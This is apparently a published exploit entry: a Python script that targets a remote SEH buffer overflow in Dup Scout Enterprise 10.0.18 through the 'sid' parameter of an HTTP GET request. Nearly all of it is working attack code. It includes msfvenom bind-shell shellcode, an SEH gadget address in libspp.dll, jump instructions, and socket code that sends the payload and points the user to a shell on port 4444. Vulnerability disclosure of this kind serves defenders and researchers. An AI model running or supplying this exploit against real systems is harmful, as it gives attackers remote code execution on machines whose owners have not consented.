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Dup Scout Enterprise 10.0.18 - 'sid' Remote Buffer Overflow (SEH)

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# Exploit Title: Dup Scout Enterprise 10.0.18 - 'sid' Remote Buffer Overflow (SEH)
# Date: 2020-12-08
# Exploit Author: Andrés Roldán
# Vendor Homepage: http://www.dupscout.com
# Software Link: http://www.dupscout.com/downloads.html
# Version: 10.0.18
# Tested on: Windows 10 Pro x64

#!/usr/bin/env python3

import socket
import struct

HOST = '127.0.0.1'
PORT = 80

# msfvenom --platform windows --arch x86 -p windows/shell_bind_tcp -b "\x00\0x9\x0a\x0d\x20" -f python -v SHELL
SHELL =  b""
SHELL += b"\x29\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e"
SHELL += b"\x81\x76\x0e\xfa\xfa\xc4\x90\x83\xee\xfc\xe2\xf4"
SHELL += b"\x06\x12\x46\x90\xfa\xfa\xa4\x19\x1f\xcb\x04\xf4"
SHELL += b"\x71\xaa\xf4\x1b\xa8\xf6\x4f\xc2\xee\x71\xb6\xb8"
SHELL += b"\xf5\x4d\x8e\xb6\xcb\x05\x68\xac\x9b\x86\xc6\xbc"
SHELL += b"\xda\x3b\x0b\x9d\xfb\x3d\x26\x62\xa8\xad\x4f\xc2"
SHELL += b"\xea\x71\x8e\xac\x71\xb6\xd5\xe8\x19\xb2\xc5\x41"
SHELL += b"\xab\x71\x9d\xb0\xfb\x29\x4f\xd9\xe2\x19\xfe\xd9"
SHELL += b"\x71\xce\x4f\x91\x2c\xcb\x3b\x3c\x3b\x35\xc9\x91"
SHELL += b"\x3d\xc2\x24\xe5\x0c\xf9\xb9\x68\xc1\x87\xe0\xe5"
SHELL += b"\x1e\xa2\x4f\xc8\xde\xfb\x17\xf6\x71\xf6\x8f\x1b"
SHELL += b"\xa2\xe6\xc5\x43\x71\xfe\x4f\x91\x2a\x73\x80\xb4"
SHELL += b"\xde\xa1\x9f\xf1\xa3\xa0\x95\x6f\x1a\xa5\x9b\xca"
SHELL += b"\x71\xe8\x2f\x1d\xa7\x92\xf7\xa2\xfa\xfa\xac\xe7"
SHELL += b"\x89\xc8\x9b\xc4\x92\xb6\xb3\xb6\xfd\x05\x11\x28"
SHELL += b"\x6a\xfb\xc4\x90\xd3\x3e\x90\xc0\x92\xd3\x44\xfb"
SHELL += b"\xfa\x05\x11\xfa\xf2\xa3\x94\x72\x07\xba\x94\xd0"
SHELL += b"\xaa\x92\x2e\x9f\x25\x1a\x3b\x45\x6d\x92\xc6\x90"
SHELL += b"\xeb\xa6\x4d\x76\x90\xea\x92\xc7\x92\x38\x1f\xa7"
SHELL += b"\x9d\x05\x11\xc7\x92\x4d\x2d\xa8\x05\x05\x11\xc7"
SHELL += b"\x92\x8e\x28\xab\x1b\x05\x11\xc7\x6d\x92\xb1\xfe"
SHELL += b"\xb7\x9b\x3b\x45\x92\x99\xa9\xf4\xfa\x73\x27\xc7"
SHELL += b"\xad\xad\xf5\x66\x90\xe8\x9d\xc6\x18\x07\xa2\x57"
SHELL += b"\xbe\xde\xf8\x91\xfb\x77\x80\xb4\xea\x3c\xc4\xd4"
SHELL += b"\xae\xaa\x92\xc6\xac\xbc\x92\xde\xac\xac\x97\xc6"
SHELL += b"\x92\x83\x08\xaf\x7c\x05\x11\x19\x1a\xb4\x92\xd6"
SHELL += b"\x05\xca\xac\x98\x7d\xe7\xa4\x6f\x2f\x41\x34\x25"
SHELL += b"\x58\xac\xac\x36\x6f\x47\x59\x6f\x2f\xc6\xc2\xec"
SHELL += b"\xf0\x7a\x3f\x70\x8f\xff\x7f\xd7\xe9\x88\xab\xfa"
SHELL += b"\xfa\xa9\x3b\x45"

PAYLOAD = (
    b'\x90' * (2482 - len(SHELL)) +
    SHELL +
    b'\xeb\x10\x90\x90' +
    # 0x1002071c: add esp,8 # ret 0x04 at libspp.dll (ASLR: False, Rebase: False, SafeSEH: False)
    struct.pack('<L', 0x1002071c) +
    b'\x90' * 32  +
    b'\xE9\x4D\xF6\xFF\xFF' +
    b'C' * (10000 - 2482 - 4 - 32 - len(SHELL))
)

HTTP_PAYLOAD = (
    b'GET /settings&sid=' + PAYLOAD + b' HTTP/1.1\r\n' +
    b'Host: ' + HOST.encode() +
    b'\r\n\r\n'
)

with socket.create_connection((HOST, PORT)) as fd:
    print('[+] Sending payload...')
    fd.sendall(HTTP_PAYLOAD)
    print('[+] Done. Check for a shell on port 4444.')
            
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